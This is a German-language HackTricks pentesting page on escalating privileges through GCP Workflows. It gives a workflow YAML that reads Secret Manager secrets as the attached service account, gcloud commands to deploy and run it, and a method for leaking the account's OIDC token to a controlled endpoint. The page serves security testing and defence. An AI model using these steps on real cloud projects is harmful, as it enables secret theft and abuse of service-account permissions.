GCP - Workflows Privesc

Support HackTricks

Workflows

Grundinformationen:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Soweit ich weiß, ist es nicht möglich, eine Shell mit Zugriff auf den Metadaten-Endpunkt zu erhalten, der die SA-Anmeldeinformationen des SA enthält, das an einen Workflow angehängt ist. Es ist jedoch möglich, die Berechtigungen des SA zu missbrauchen, indem man die Aktionen hinzufügt, die innerhalb des Workflows ausgeführt werden sollen.

Es ist möglich, die Dokumentation der Connectoren zu finden. Zum Beispiel ist dies die Seite des Secretmanager-Connectors. In der Seitenleiste sind mehrere andere Connectoren zu finden.

Und hier finden Sie ein Beispiel für einen Connector, der ein Geheimnis ausgibt:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Aktualisierung über die CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Wenn Sie keinen Webzugang haben, ist es möglich, die Ausführung eines Workflows auszulösen und zu sehen mit:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Sie können auch die Ausgabe vorheriger Ausführungen überprüfen, um nach sensiblen Informationen zu suchen.

Beachten Sie, dass selbst wenn Sie einen Fehler wie PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... erhalten, weil Sie diese Berechtigung nicht haben, der Workflow generiert wurde.

Leak OIDC-Token (und OAuth?)

Laut den Dokumenten ist es möglich, Workflow-Schritte zu verwenden, die eine HTTP-Anfrage mit dem OAuth- oder OIDC-Token senden. Allerdings muss die HTTP-Anfrage mit dem Oauth-Token, wie im Fall von Cloud Scheduler, an den Host .googleapis.com gerichtet sein.

Daher ist es möglich, das OIDC-Token zu leaken, indem man einen von dem Benutzer kontrollierten HTTP-Endpunkt angibt, aber um das OAuth-Token zu leaken, bräuchten Sie einen Bypass für diesen Schutz. Sie können jedoch weiterhin jede GCP-API kontaktieren, um im Namen des SA Aktionen durchzuführen, entweder über Connectoren oder HTTP-Anfragen mit dem OAuth-Token.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Mit dieser Berechtigung anstelle von workflows.workflows.create ist es möglich, einen bereits bestehenden Workflow zu aktualisieren und die gleichen Angriffe durchzuführen.

Support HackTricks

Last updated